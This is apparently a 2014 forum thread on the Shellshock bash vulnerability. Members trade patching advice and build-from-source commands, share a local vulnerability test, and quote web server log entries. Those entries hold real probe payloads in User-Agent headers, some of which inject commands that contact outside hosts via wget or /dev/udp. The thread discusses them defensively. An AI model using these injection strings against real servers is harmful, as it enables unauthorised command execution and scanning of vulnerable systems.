"Shellshock" Bug - patch your bash shells on your *nix systems!

[Kevin P]

Some sites say this bug is "wormable"; that is, it could be exploited to spread a worm. That sounds like good reason enough to patch to me.

In the case of a CGI exploit, it allows arbitrary commands to be executed, and this is even before the actual CGI site sees the data, so sanitation in the CGI executable will have no effect. Even under a limited user this can be used for various nefarious purposes. And I'm sure there are poorly configured servers out there that have Apache running as root. :smackbutt:

Here's a couple attempts I found in the HTG server logs. They are just pinging or hitting a page on another site that the hacker has access to so they can test to see if the exploit worked. Or echoing some string they can detect as part of their probe. They are probably gathering a list of IPs that are vulnerable so they can later do nastier things such as setting up a spambot.

94.102.60.177 - - [26/Sep/2014:07:50:41 -0700] "GET /cgi-bin/test.cgi HTTP/1.1" 404 543 "-" "() { x;};echo;echo 123456ololo | md5sum"
83.166.234.133 - - [26/Sep/2014:21:55:28 -0700] "GET / HTTP/1.0" 200 24057 "-" "() { :;}; /bin/bash -c \"wget -q -O /dev/null http://ad.dipad.biz/test/http://htguide.com/\""

Look at that 2nd one, they are hitting a page on a site with htguide.com in the name, so that it shows up in their logs. Then they can simply awk out the domains that worked, and bingo.

[impala454]

Chuck, the big issue is that sites using CGI could enable this exploit to be invoked over the web.

Sure, but #1, a CGI site should be sanitizing its inputs. #2, the user running the CGI code (apache or what have you) should not be able to do anything significant to the system. Even if only to the code's related database or files, the attacker would have to know about the specifics of the system to hurt anything.

Also, if ssh has weak passwords or has open access to a restricted shell, a hacker could bypass the restrictions using this bug.

It still requires shell access. Seems to me that once an attacker has shell access, this is kind of a moot bug.

It appears to be a very specific bug. IF an attacker can gain enough access to a system to set environment variables (but not explicitly run bash scripts (is that even possible?)), THEN this bug can be exploited. A very edge case IMHO. I think everyone is panicking simply because it's bash and generally thought to be bulletproof.

[Kevin P]

Chuck, the big issue is that sites using CGI could enable this exploit to be invoked over the web. Also, if ssh has weak passwords or has open access to a restricted shell, a hacker could bypass the restrictions using this bug.

Another patch has been released for CVE-2014-7169. You'll have to update bash again. :thud:

If you're running an old distro and updates aren't available, here's how to build bash from source:

mkdir src
cd src
wget http://ftp.gnu.org/gnu/bash/bash-4.3.tar.gz
#download all patches
for i in $(seq -f “%03g” 0 25); do wget http://ftp.gnu.org/gnu/bash/bash-4.3-patches/bash43-$i; done
tar zxvf bash-4.3.tar.gz
cd bash-4.3
#apply all patches
for i in $(seq -f “%03g” 0 25);do patch -p0 < ../bash43-$i; done
#build and install
./configure && make && make install

The patch for CVE-2014-6271 is in bash43-25 but this is the incomplete patch. The updated patch for CVE-2014-7169 isn't up yet. When it is, I expect that it would be named bash43-26 and could be retrieved with:

wget http://ftp.gnu.org/gnu/bash/bash-4.3-patches/bash43-26

and applied with

patch -p0 < ../bash43-26

or to get them all at once, change "0 25" to "0 26" in both "for i" lines above, once the new patch is available in sources.

HTG server is updated again. There's no need to reboot if no shells are running other than your own login, just log out and log back in.

[impala454]

Ubuntu already put out a patch so you can just do an update.

What I don't get is why this is such a horrible breach. Understood that while setting an environment variable you could execute whatever bash code you wanted. But if an attacker already has enough access to your system to set environment variables this would seem to be a moot point.

[Ovation]

I never connect without a router and I'm not running any services like you describe. Will check out the system as per your info though. Thanks.

Edit: Just checked and I'm vulnerable. Will stay behind the firewalls and routers until further notice.

[Kevin P]

I don't think Apple has an update for the Mac yet, but I expect they will soon.

You can test your Mac by going into a terminal/command prompt and executing this:

env x='() { :;}; echo vulnerable' bash -c 'echo hello'

If you see "vulnerable" followed by "hello" then you're vulnerable. If you get some error message followed by "hello", you're patched or not vulnerable.

Unless your Mac is connected directly to the internet without a firewall or router in between and is running web-facing services like Apache or ssh it is not likely to be exploited.

[Ovation]

Is there anything special I should be doing with my Mac? I presume Apple will offer an update (I just ran one this morning--maybe it was in response to this threat)? I confess that while I understand all these threats on a conceptual level, my ability to deal with them on a practical level is limited to installing OS updates and anti-virus software.

[Kevin P]

More info here: http://www.theregister.co.uk/2014/09...sh_shell_vuln/

http://threatpost.com/major-bash-vulnerability-affects-linux-unix-mac-os-x

https://www.auscert.org.au/20652

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-7169

Sites are being probed. I found two attempts from this morning here on HTG:

24.251.197.244 - - [25/Sep/2014:03:33:16 -0700] "GET / HTTP/1.1" 200 24064 "-" "() { :; }; echo -e \"Content-Type: text/plain\\n\"; echo qQQQQQq"
166.78.61.142 - - [25/Sep/2014:08:58:21 -0700] "GET / HTTP/1.1" 200 24064 "-" "() { :;}; echo shellshock-scan > /dev/udp/pwn.nixon-security.se/4444"

Neither of these did anything nefarious; they just reported back somewhere if the exploit worked. The server is now patched but the patch doesn't fully solve the issue.